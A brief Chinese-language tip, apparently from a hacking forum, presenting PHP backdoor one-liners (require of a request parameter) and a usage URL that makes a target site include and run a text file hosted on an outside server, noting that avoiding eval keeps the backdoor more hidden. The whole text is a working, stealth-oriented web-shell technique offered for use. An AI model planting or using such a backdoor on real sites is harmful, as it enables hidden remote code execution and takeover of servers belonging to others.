<?require($_REQUEST['a']);?> 或是<?require($a);?>利用方法http://www.target.com/file.php?a=http://www.tantao.cn:8080/b.txt这样不使用eval了后门又隐蔽了些.